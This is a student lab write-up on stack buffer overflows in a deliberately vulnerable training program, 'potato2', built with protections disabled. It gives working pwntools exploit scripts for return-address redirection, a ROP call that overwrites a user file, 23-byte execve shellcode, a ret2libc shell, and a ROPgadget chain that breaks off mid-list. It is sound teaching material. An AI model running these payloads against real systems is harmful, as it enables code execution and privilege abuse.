Stack Corruption

Student: Philip Magnus

The steps in this writeup were performed on a Kali 2024.4 (x64) system.

Building potato

For the building process the following packages have been installed. `pipx` is technically not used for the build process but the installation of `pwntools` a Python library enabling us to execute the attacks.

```
$ sudo apt install gcc gcc-multilib pipx -y
```

Install `openssl` from git repository.

> It is important to use the most recent version of `openssl` with this build or else some of the attacks won't work.

```
$ git clone https://github.com/openssl/openssl.git
$ cd openssl
$ ./Configure -m32 linux-generic32
$ make -sj
$ cd ..
```

To install the *GDB Enhanced Features* suite (GEF) the following `curl` command was used.

```
$ bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
```

Next the source files for potato2 were checked out with its git repository.

```
$ git clone https://github.com/edgecase1/potato2.git
```

Using the following `Makefile` two binaries have been build to run the attacks against in the subsequent steps.

```
# needs to have openssl checked out as sibling folder of potato
# git clone https://github.com/openssl/openssl.git
# and requires installation of gcc multilib
# sudo apt install gcc-multilib for m32

WARN_OPTS=-Wno-deprecated-declarations -Wno-unused-result
```

```
SEC_OPTS=-fno-stack-protector -z execstack -no-pie
DEBUG_OPTS=-ggdb3 -O0
# turn on optimizations to get some ROP gadgets
DEBUG_OPTS_ROP=-ggdb3 -O2
INCLUDES=-Iopenssl/include -I/usr/include -I/usr/include/x86_64-linux-gnu -
Ipotato2/src
DEFINES=-D_FORTIFY_SOURCE=0

CCOPTS = $(WARN_OPTS) $(SEC_OPTS) $(DEBUG_OPTS) $(INCLUDES) $(DEFINES)
# include glibc statically to get additional gadgets
CCOPTS4ROP = -static $(WARN_OPTS) $(SEC_OPTS) $(DEBUG_OPTS_ROP) $(INCLUDES)
$(DEFINES)

CFILES = \
    potato2/src/main.c \
    potato2/src/runr.c \
    potato2/src/sock.c \
    potato2/src/userlist.c \
    potato2/src/func.c \
    potato2/src/login2.c

HFILES = \
    potato2/src/runr.h \
    potato2/src/sock.h \
    potato2/src/user.h \
    potato2/src/userlist.h

.PHONY: clean all

all: potato potato_rop potato_32 potato_rop_32

# binary for usual attacks
potato: $(CFILES) $(HFILES)
    gcc $(CCOPTS) -o potato $(CFILES) -Lopenssl  -lssl -lcrypto

# binary for ROP attack
potato_rop: $(CFILES) $(HFILES)
    gcc $(CCOPTS4ROP) -o potato_rop $(CFILES) -Lopenssl  -lssl -lcrypto

potato_32: $(CFILES) $(HFILES)
    gcc -m32 $(CCOPTS) -o potato_32 $(CFILES) -Lopenssl  -lssl -lcrypto

potato_rop_32: $(CFILES) $(HFILES)
    gcc -m32 $(CCOPTS4ROP) -o potato_rop_32 $(CFILES) -Lopenssl  -lssl -
lcrypto

clean:
    rm -f potato potato_rop potato_32 potato_rop_32
```

The `potato` and `potato_rop` files were built using the `make` command.

```
$ make -j

gcc -Wno-deprecated-declarations -Wno-unused-result -fno-stack-protector -z
execstack -no-pie -ggdb3 -O0 -Iopenssl/include -I/usr/include -
I/usr/include/x86_64-linux-gnu -Ipotato2/src -D_FORTIFY_SOURCE=0 -o potato
potato2/src/main.c potato2/src/runr.c potato2/src/sock.c
potato2/src/userlist.c potato2/src/func.c potato2/src/login2.c -Lopenssl  -
lssl -lcrypto
gcc -static -Wno-deprecated-declarations -Wno-unused-result -fno-stack-
protector -z execstack -no-pie -ggdb3 -O2 -Iopenssl/include -I/usr/include
-I/usr/include/x86_64-linux-gnu -Ipotato2/src -D_FORTIFY_SOURCE=0 -o
potato_rop potato2/src/main.c potato2/src/runr.c potato2/src/sock.c
potato2/src/userlist.c potato2/src/func.c potato2/src/login2.c -Lopenssl  -
lssl -lcrypto
gcc -m32 -Wno-deprecated-declarations -Wno-unused-result -fno-stack-
protector -z execstack -no-pie -ggdb3 -O0 -Iopenssl/include -I/usr/include
-I/usr/include/x86_64-linux-gnu -Ipotato2/src -D_FORTIFY_SOURCE=0 -o
potato_32 potato2/src/main.c potato2/src/runr.c potato2/src/sock.c
potato2/src/userlist.c potato2/src/func.c potato2/src/login2.c -Lopenssl  -
lssl -lcrypto
gcc -m32 -static -Wno-deprecated-declarations -Wno-unused-result -fno-
stack-protector -z execstack -no-pie -ggdb3 -O2 -Iopenssl/include -
I/usr/include -I/usr/include/x86_64-linux-gnu -Ipotato2/src -
D_FORTIFY_SOURCE=0 -o potato_rop_32 potato2/src/main.c potato2/src/runr.c
potato2/src/sock.c potato2/src/userlist.c potato2/src/func.c
potato2/src/login2.c -Lopenssl  -lssl -lcrypto
```

The `potato` executables can now be used as follows.

```
$ ./potato

./potato console
./potato server
```

To enable our Python scripts to run attacks against the `potato` binaries as well as starting the debugger and many more QoL features `pwntools` was installed using `pipx`.

```
$ pipx install pwntools
```

`pipx` automatically manages Python `venvs` and allows for an easy way to install `pip` packages globally.

Scanning for vulnerabilities

Instead of looking through the code manually the code was scanned for a list of functions, vulnerable to buffer overflows, using ripgrep `rg` for short. `rg` scans all files in a directory, including sub-directories, for a given string and outputs the file in which the string was found as well as the line containing the string and the corresponding line number.

```
$ rg -w -n \
  -e "gets" \
  -e "strcpy" \
  -e "strcat" \
  -e "sprintf" \
  -e "vsprintf" \
  -e "scanf" \
  -e "fscanf" \
  -e "sscanf" \
  -e "memcpy" \
  -e "memmove" \
  -e "strtok"

func.c
60:    scanf("%d", &id);
187:    fscanf(stdin, "%s", input_username); // TODO security

userlist.c
240:    token = strtok(line, ":");
246:                strcpy(parsed_user->name, token);
257:                    strcpy(parsed_user->home, token);
260:                    strcpy(parsed_user->shell, token);
266:        token = strtok(NULL, ":");

login2.c
43:    strcpy(user->name, username);
44:    sprintf(user->home, "/home/%s", username);
45:    strcpy(user->shell, "/usr/bin/rbash");
```

The `fscanf` function on line 187 in the *func.c* file looks like a prime candidate that can be used for a buffer overflow. The string read from `stdin` is not limited by any size and thus can be used to write over the given buffer size of `input_username`, which is 50 bytes, directly onto the stack. This can be used to write a maliciously chosen address to the stack to redirect the execution flow of the program.

```
void change_name() {
    char input_username[USERNAME_LENGTH];

    fprintf(stdout, "What is the name > ");
    //fgets(input_username, sizeof(input_username), stdin);
    fscanf(stdin, "%s", input_username); // TODO security
    input_username[strcspn(input_username, "\n")] = 0x00; // terminator
instead of a newline

    strncpy(session.logged_in_user->name, input_username,
strlen(input_username)+1);
```

```
    fprintf(stdout, "Name changed.\n");
}
```

Debugging and Exploit

Environment Setup

As mentioned before in the installation step, `pwntools` was installed via the `pipx` command.

To run attacks against the target binaries we use the `pwntools` libraries in a specifically crafted Python script. A script with the name *attack.py* was created and the following code was used for a setup.

```
#!/usr/bin/env python3

from pwn import *
import sys

elf = ELF("./potato")

p = elf.process(["console"], stdin=PTY, aslr=False) # stdin=PTY for
"getpass" password input
gdb.attach(p, '''
<SET BREAKPOINTS HERE>
continue
''')

print(p.recvuntil(b"cmd> ")) # username
p.sendline(b"login")
p.sendline(b"peter")
p.sendline(b"12345")
print(p.recvuntil(b"cmd> ")) # username

p.sendline(b"changename")

payload= <PAYLOAD GOES HERE>


p.sendline(payload)

p.interactive()
```

The script starts a `gdb` process attached to `./potato` and sends the given inputs against the running process.

We make use of a known `username:password` combination to login to the software and start the possibly vulnerable`changename()` function. After starting the `changename()` function the script sends a crafted payload to try and trigger a buffer overflow.

Running the first buffer overflow

Using the following payload we can try and trigger a buffer overflow and overwrite the stack and eventually use the overwrite tomour advantage.

```
[...]
gdb.attach(p, '''
break func.c:191
continue
''')
[...]
payload=b'\x41' * 100
[...]
```

The payload was set to a binary string containing 100 `\x41` bytes which is equivalent to 100 times the letter `A`. Also a breakpoint was set at line 191 in the *func.c* file which is right before we return from the `changename()` function.

After running into the set breakpoint at line 191 the execution of `./potato` stops and we can investigate some of the programs behaviour in response to the given payload.

```
gef➤  x/8bx $rsp
0x7fffffffd2c0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x41
```

Interesting is the value stored in the `$rsp` register because it will be handed to the `$rip` register to use as a return address when executing the return from the `changename()` function. When we resume the execution of our program, either with `c` to simply continue or `ni` to step throught the execution one instruction at a time, the program will crash with a `SEGMENTATION FAULT` (`SIGSEV`) because `0x4141414141414141` is not a valid return address mapped in the virtual memory space of our program.

Payload to change flow of program execution

To redirect the execution flow we need to write a valid return address to the `$rsp` before the return of the fucntion. To write the wanted value into we need to find the offset at which the `$rsp` register lies in the process memory.

To find the offset we can make use of the `pattern` functionality provided by `gef`. First a pattern was created in gdb using the `patern create` command. The generated pattern was then used as the payload in the *attack.py* script.

```
payload=b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaa...[ommited
for readability]...fcaaaaaaf'
```

After running the script with the pattern as the `pattern search` functionality of `gef` can be used to find the offset of `$rsp`.

```
gef➤  pattern search $rsp
[+] Searching for '6a61616161616161'/'616161616161616a' with period=8
[+] Found at offset 72 (little-endian search) likely
```

After finding the offset we need the address in memory of the function we want to redirect the execution flow to. The `whoami()` function was chosen for this step. To find the address of the function in gdb the `print` functionality was used, i.e. `print whoami`. This provided the address `0x4045ca`. To jump to this function our attack script was adjusted with the following payload.

```
payload = b'\x41' * 72 + p64(0x4045ca)
```

In the program output we could observe that the execution flow was redirected to the `whoami()` function.

```
What is the name > Name changed.
user(name='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xcaE@' id=1094795585 gid=1094795585 home='AAAAAAAAAAAA\xcaE@'
shell='/usr/bin/rbash')
```

After executing the `whoami()` function the program still crasges because with our offset of `\x41` bytes we also overwrite the address of the previous stackframe. After several hours the crash could not be avoided in a simple way and thus avoiding the crash was not tried any longer to not waste any more time on this.

Still a succesful redirect of the execution flow is possible.

Change execution flow to get authenticated as priv. user

Changing the executioin flow to access a function only accessible only to priviledged users is not as straight forward as changing to a simple other function in the program. This is mainly because the functions accessible by priviledged users accept some sort of function argument.

We can choose a function from the ones we can see are behind the `is_priviledged()` check in the code.

For this excample we choose the `write_list(char* path)` function.

First we need to identify the address of our desired target. This can be done analogous to the way we did it when changing the control flow for the first time. We will find the address of the function is at `0x403778`.

Next we need the string *userlist* in hex format. This can be either crafted by hand or we can find an existing string containing the word *userlist* in the potato2s memory space.

For our purpose it is easiest to look for already existing strings in the programs memory space. First we need to identify the memory space we want to search the string in:

```
gef➤  vmmap
[ Legend:  Code | Stack | Heap ]
```

```
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r--
/home/kali/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2/po
tato
0x0000000000402000 0x0000000000405000 0x0000000000002000 r-x
/home/kali/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2/po
tato
0x0000000000405000 0x0000000000406000 0x0000000000005000 r--
/home/kali/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2/po
tato
0x0000000000406000 0x0000000000407000 0x0000000000006000 r--
/home/kali/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2/po
tato
0x0000000000407000 0x0000000000408000 0x0000000000007000 rw-
/home/kali/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2/po
tato

[Rest ommmited for better readability]
```

We can see that the main program memory space stretches from `0x0000000000400000` to `0x0000000000408000`. To search this space for the string of *userlist* we can use the following command:

```
gef➤  find 0x0000000000400000, 0x0000000000408000, "userlist"
0x4051da
0x40526e
2 patterns found.
```

We can see that two addresses containing the string *userlist* were found. For the purpose of this exercise either one will suffice so we will use the first one.

To craft a functional payload we will need to pass the argument to the `write_list(char* path)` function when it is called we will need to write the argument to `RDI` at the right time, this is imporant because in 64-Bit systems the first function parameter is most commonly passed via the `RDI` register. For this we will need to use a `ROP Gadget`, later on we will see how to find those gadgets. For now we will just use the gadget available at the following address: `0x155554c34205`.

To ensure that thie payload works the stack needs to be realigned after jumping to the `write_list` function. To realign the stack we simply need to execute a second arbitrary `ret` statement. For this we use the address of the `ret` statement from the `changename` function: `0x4040e4`.

With this information we can craft the following payload:

```
payload=b"\x41"*72 + p64(0x4040e4) + p64(POP_RDI) + p64(0x4051da) +
p64(0x403778)
```

Executing the Python script with the payload does not yield any extra ouput to the terminal.

```
python3 pwn_potato2.py
[*]
'/home/kali/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2/p
otato'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes
[+] Starting local process
'/home/kali/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2/p
otato': pid 52120
[!] ASLR is disabled!
[*] running in new terminal: ['/usr/bin/gdb', '-q',
'/home/kali/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2/p
otato', '-p', '52120', '-x', '/tmp/pwnlib-gdbscript-nblnvnee.gdb']
[+] Waiting for debugger: Done
b'starting up (pid 52120)\nreading file userlist\nhandle_client\ncmd> '
b'Welcome!\nusername: password: searching for user ...\nchecking password
...\nYou are authorized.\n\ncmd> '
[*] Switching to interactive mode
What is the name > Name changed.
[*] Got EOF while reading in interactive
$
```

If we look into the `userlist` file we can see that our write was succsessful.

```
root:2f99191d04198a3f778043dda155ba0f:0:/root:/bin/bash
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@
@:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:1094795585:AAAAAAAAAAAA�@@:/usr/bin/rba
sh
mario:5e455c58e29cce3c164506ee28f72ccc:10001:/home/mario:/usr/sbin/nologin
alberto:x:10002:/home/alberto:/usr/bin/rbash
livero:x:1003:/home/livero:/usr/bin/rbash
emil:202cb962ac59075b964b07152d234b70:10004:/home/emil:/bin/sh
```

Currently we are only writing the `A`s we put on the stack to overflow the buffer to the list, with a little more care this could probably be crafted to a payload which would elevate our privileges.

Shellcode execution

To execute shellcode the code had to be injected into the buffer which can be overflown and then have the return address point to the beginning address of this buffer.

For this the shellcode needs to fit into the buffer which has a size of 50 bytes. A quick Google search gives us a suitable shellcode candidate found on ExploitDB.

```
global _start
section .text
_start:
    xor rsi,rsi
    push rsi
    mov rdi,0x68732f2f6e69622f
    push rdi
    push rsp
    pop rdi
    push 59
    pop rax
    cdq
    syscall
```

This assembly code can than be translated into a series of bytes using the `nasm` command.

```
$ nasm -f elf64 shellcode.asm -o shellcode.o
$ ld shellcode.o -o shellcode
$ objdump -D shellcode

shellcode:     Dateiformat elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       48 31 f6                xor    %rsi,%rsi
  401003:       56                      push   %rsi
  401004:       48 bf 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rdi
  40100b:       2f 73 68
  40100e:       57                      push   %rdi
  40100f:       54                      push   %rsp
  401010:       5f                      pop    %rdi
  401011:       6a 3b                   push   $0x3b
  401013:       58                      pop    %rax
  401014:       99                      cltd
  401015:       0f 05                   syscall
```

In our `objdump` output we can see the byte sequence needed to be injected as shellcode.

`\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05`

The shellcode is 23 bytes long so it fit perfectly into the 50 byte buffer. To overflow the buffer and set the return address to that of the start address of the buffer we first started the program with a known payload, e.g. `b'\x41' * 50`, and look at the stack in gdb to identify the starting address.

```
0x00007fffffffd2c0│+0x0000:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"    ← $rsp
0x00007fffffffd2c8│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffd2d0│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffd2d8│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffd2e0│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAA"
0x00007fffffffd2e8│+0x0028: "AAAAAAAAAAAAAAA"
0x00007fffffffd2f0│+0x0030: 0x0000000000004141 ("AA"?)
0x00007fffffffd2f8│+0x0038: 0x0000000000406df0  →  0x0000000000402800  →
<__do_global_dtors_aux+0000> endbr64
```

We can see that the starting address of the buffer is `0x00007fffffffd2c0`. With this information the following payload was crafted:

```
shellcode =
b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\
x3b\x58\x99\x0f\x05'
payload = shellcode + b'\x90' * (72 - len(shellcode)) + p64(0x7fffffffd2c0)
```

First the shellcode is placed in the buffer, then the buffer is overflown using the `\x90` (nop) bytes up to the offset where we need to write the wanted return address, lastly the return address is written to the stack.

When executed the payload delivers the following succesfull execution of a shell.

```
$ python3 attack.py
[*]
'/home/philip/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2
/potato2/potato'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
[+] Starting local process
'/home/philip/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2
/potato2/potato': pid 313530
[!] ASLR is disabled!
[*] running in new terminal: ['/usr/bin/gdb', '-q',
'/home/philip/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2
/potato2/potato', '313530', '-x', '/tmp/pwnqkme5pqz.gdb']
[+] Waiting for debugger: Done
b'starting up (pid 313530)\nreading file userlist\nhandle_client\ncmd> '
b'Welcome!\nusername: password: searching for user ...\nchecking password
...\nYou are authorized.\n\ncmd> '
[*] Switching to interactive mode
What is the name > Name changed.
```

```
$ $ whoami
philip
$ $ id philip
uid=1000(philip) gid=1000(philip)
groups=1000(philip),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users
),114(lpadmin),123(lxd),984(docker),128(libvirt)
```

We can clearly see that we are no longer bound to the executed program but rather have full shell access with the rights of the user `philip`.

Ret2libc attack

The 'Return to LibC' attack or `ret2libc` for short is a little more complicated to execute on a x64 system than on a x32 system. The basic idea of `ret2libc`is to not inject sehllcode into the buffer and execute our buffer but rather find exisiting linked libc functions we can use to spawn our shell. This may be necessary because the stack of our application might not be executable.

To sucessfully perform a `ret2libc` attack on a x64 system the following steps were perfomred.

First we needed to find the libc functions `system()` and `exit()` which will be used to spawn our shell child-process. Finding these functions with gdb worked with the following commands.

```
gef➤  p system
$3 = {int (const char *)} 0x155554c5c8f0 <__libc_system>
```

```
gef➤  p exit
$5 = {void (int)} 0x155554c4c280 <__GI_exit>
```

Next we needed to find a `/bin/sh` string in our application to pass to the `system()` function as an argument. For this we searched the string in the applications heap space.

First we needed to identify the heap range with `vmmap` in gdb.

```
────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────
──────────────────────────────
gef➤  vmmap
[ Legend:  Code | Stack | Heap ]
Start              End                Offset             Perm Path

[ommitted for better readability]

0x0000000000408000 0x0000000000429000 0x0000000000000000 rw- [heap]
```

```
[ommitted for better readability]
```

We can se the addresses of the heap range from `0x0000000000408000` to `0x0000000000429000`. To find a `/bin/sh` string the following command was executed in gdb.

```
gef➤  find 0x0000000000408000, 0x0000000000429000-1, "/bin/sh"
0x4088c7
0x409d9e
2 patterns found.
```

Any of these two addresses can be used as an argument for `system()`. If we examine the address we can see the bytes in hex representation of the `/bin/sh` string. The string could be made visible by converting the hex to ascii characters, this isn't necessary for the next steps.

```
gef➤  x/8bx 0x4088c7
0x4088c7:	0x2f	0x62	0x69	0x6e	0x2f	0x73	0x68	0x00
```

To execute the `system()` function we need to pass it an argument. Consulting the man pages for syscall shows in the following table that arguments for syscalls need to be passed via certain registers. Interesting for this attack is the first argument so the `rdi` register.

```
The second table shows the registers used to pass the system call
arguments.
       Arch/ABI      arg1  arg2  arg3  arg4  arg5  arg6  arg7  Notes
       ──────────────────────────────────────────────────────────────
          [omitted for readability]
       x86-64        rdi   rsi   rdx   r10   r8    r9    -
       x32           rdi   rsi   rdx   r10   r8    r9    -
          [omitted for readability]
```

To set a value to the `rdi` register a little trick with a ROP gadget was used. By first using a ROP gadget that executes `pop rdi ; ret` the next value on the stack will be written to `rdi`. To find a ROP gadget the ROPgadget python tool was used to scan the linked libc library for a fitting gadget.

First the used libc library is identified with `ldd`.

```
$ ldd potato
        [omitted for readability]
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff780a000)
        [omitted for readability]
```

Then the ROP gadget is identified by scanning the linked libc library.

```
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi ; ret"
0x000000000002a205 : pop rdi ; ret
```

This address is not the final usable address but an offset we need to add to the libc addresses in our programs memory space. To identify the base address of the libcs memory space we can use `vmmap` in gdb.

```
gef➤  vmmap
[ Legend:  Code | Stack | Heap ]
Start              End                Offset             Perm Path
[omitted for readability]
0x0000155554c0a000 0x0000155554c32000 0x0000000000000000 r--
/usr/lib/x86_64-linux-gnu/libc.so.6
[omitted for readability]
```

With the base address `0x0000155554c0a000` and the offset `0x000000000002a205` we can calculate the final address of the gadget `gadgetAddress = baseAddress + gadgetOffset`. This resulted in `0x0000155554c34205`.

Finally the stack needed to be aligned to execute this attack. This basically means the address in `$rsp` at the time of the `ret` statement of our vulnerable function needed to end on `0x...0`. If the stack is not aligned at the time of the attack, the attack will fail with a `Segmentation Fault`. To align the stack a `dummy ret` statement was the first statement to be executed with the attack. This lead to the previous unaligned stack with an address of `0x...8` in `$rsp` to realign itself. The `ret` statement can be any available statement at the time of execution. Four this attack the `ret` statment of the vulnerable function was simply executed twice, with the statments address at `0x4040e4`

With this knowledge the following attack script could be crafted.

```
#!/usr/bin/env python3

from pwn import *
import sys

# Addresses of libc functions system() and exit()
SYSTEM = 0x155554c5c8f0
EXIT = 0x155554c4c280

# Address of 'pop rdi ; ret' statement for setting rdi value which will be
used as input for system()
# Address of dummy 'ret' statement (dummy in this case means any single ret
statement) for stack alignment
POP_RDI = 0x155554c34205
DUMMY_RET = 0x4040e4

# Address of '/bin/sh' string from heap to use as argument for system()
BIN_SH = 0x4088c7
```

```
elf = ELF("./potato")

p = elf.process(["console"], stdin=PTY, aslr=False) # stdin=PTY for
"getpass" password input
gdb.attach(p, '''
break func.c:192
continue
''')

# Login with test user
print(p.recvuntil(b"cmd> "))
p.sendline(b"login")
p.sendline(b"peter") # username
p.sendline(b"12345") # password
print(p.recvuntil(b"cmd> "))

# Call of vulnerable function change_name()
p.sendline(b"changename")

# Payload for Ret2LibC attack
payload = b''.join([b'\x41'*72, p64(DUMMY_RET), p64(POP_RDI), p64(BIN_SH),
p64(SYSTEM), p64(EXIT)])

p.sendline(payload)

p.interactive()
```

Executing the script lead to the spawning of a shell with the rights of the programs executor, in this case the user `kali`.

```
$ python3 libc.py
[*]
'/home/kali/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2/p
otato'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes
[+] Starting local process
'/home/kali/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2/p
otato': pid 205369
[!] ASLR is disabled!
[*] running in new terminal: ['/usr/bin/gdb', '-q',
'/home/kali/workspace/ITS_FHCAMPUS/Semester_2/Cyber_Security_ILV/uebung_2/p
otato', '-p', '205369', '-x', '/tmp/pwnlib-gdbscript-gmf97z_c.gdb']
[+] Waiting for debugger: Done
```

```
b'starting up (pid 205369)\nreading file userlist\nhandle_client\ncmd> '
b'Welcome!\nusername: password: searching for user ...\nchecking password
...\nYou are authorized.\n\ncmd> '
[*] Switching to interactive mode
What is the name > Name changed.
$ $ whoami
kali
$ $ id -a
uid=1000(kali) gid=1000(kali)
Gruppen=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audi
o),30(dip),44(video),46(plugdev),100(users),101(netdev),116(bluetooth),121(
wireshark),123(lpadmin),129(scanner),134(kaboxer)
$ $
```

Custom shellcode or ROP chain

To find a ROP chain we can use the ROPGadget Tool again. For this we can run the following command.

```
$ ROPgadget --binary potato--ropchain
[...]

Unique gadgets found: 643

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

        [-] Can't find the 'mov qword ptr [r64], r64' gadget
```

We can see that ROPGadget is looking for a possibility to chain gadgets together to make the execution of a shell possible. With just the potato binary we do not find enough gadgets to build a ROP chain. To find the necessary gadgets we can look at the dynamically linked libraries used by our program with `ldd`.

```
$ ldd potato
        linux-vdso.so.1 (0x00007f5a76017000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3
(0x00007f5a75a00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5a7580a000)
        libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f5a75fd9000)
        libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1
(0x00007f5a75742000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f5a76019000)
```

For our use case we can take a look at the linked `libc.so.6`.

```
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --ropchain

[...]

Unique gadgets found: 103072

[...]
```

We can already see that we found a lot more gadgets. `ROPGadget` will build us a ROP chain. This chain can be used in our attack script, for this we simply need to add the offset in the generated ROP chain.

```
#!/usr/bin/env python3

from pwn import *
from struct import pack
import sys


elf = ELF("./potato_rop")

process = elf.process(["console"], stdin=PTY, aslr=False) # stdin=PTY for
"getpass" password input
gdb.attach(process, '''
continue
''')

print(process.recvuntil(b"cmd> ")) # username
process.sendline(b"login")
# test user
process.sendline(b"peter")
process.sendline(b"12345")
print(process.recvuntil(b"cmd> ")) # username
# logged in
#p.interactive()
process.sendline(b"changename")

# Padding goes here
p = b'\x41'*72

p += pack('<Q', 0x000000000010d37d) # pop rdx ; ret
p += pack('<Q', 0x00000000001e7000) # @ .data
p += pack('<Q', 0x0000000000043067) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000038a7c) # mov qword ptr [rdx], rax ; ret
p += pack('<Q', 0x000000000010d37d) # pop rdx ; ret
p += pack('<Q', 0x00000000001e7008) # @ .data + 8
p += pack('<Q', 0x00000000000b9a05) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000038a7c) # mov qword ptr [rdx], rax ; ret
p += pack('<Q', 0x000000000002a205) # pop rdi ; ret
p += pack('<Q', 0x00000000001e7000) # @ .data
p += pack('<Q', 0x000000000002bb39) # pop rsi ; ret
```

```
p += pack('<Q', 0x00000000001e7008) # @ .data + 8
p += pack('<Q', 0x000000000010d37d) # pop rdx ; ret
p += pack('<Q', 0x00000000001e7008) # @ .data + 8
p += pack('<Q', 0x00000000000b9a05) # xor rax, rax ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
